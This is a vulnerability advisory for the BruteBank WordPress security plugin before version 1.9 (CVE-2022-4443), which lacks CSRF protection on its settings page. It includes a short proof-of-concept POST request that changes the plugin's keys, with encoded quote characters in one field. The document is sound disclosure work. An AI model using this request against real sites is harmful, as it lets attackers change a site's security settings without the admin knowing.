WordPress Plugin Vulnerabilities

BruteBank - WP Security & Firewall < 1.9 - Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged-in admin change them via a CSRF attack.

Proof of Concept

POST /wp-admin/admin.php?page=brutebank-settings HTTP/1.1

public_key=site.a%22%2522aaaa%3Daaa&secret_key=aaa&update=Update

Affects Plugins

Plugin icon
brutebank
Fixed in 1.9

References

CVE
CVE-2022-4443

Classification

Type
CSRF
OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352
CVSS
4.3 (medium)

Miscellaneous

Original Researcher
rezaduty
Submitter
rezaduty
Verified
Yes
WPVDB ID
1e621d62-13c7-4b2f-96ca-3617a796d037

Timeline

Publicly Published
2022-12-28 (about 1 years ago)
Added
2022-12-28 (about 1 years ago)
Last Updated
2022-12-28 (about 1 years ago)

Other

Published
Title
Published
2023-04-05
Title
WCFM Membership < 2.10.0 - Multiple CSRF
Published
2023-07-26
Title
Update ands from Zip File <= 2.0.0 - CSRF
Published
2024-04-26
Title
MainWP Child Reports < 2.2 - Cross-Site Request Forgery
Published
2023-04-05
Title
WCFM Frontend Manager < 6.6.0 - Multiple CSRF
Published
2015-04-02
Title
WP Easy Slideshow <= 1.0.3 - Multiple Cross-Site Request Forgery (CSRF)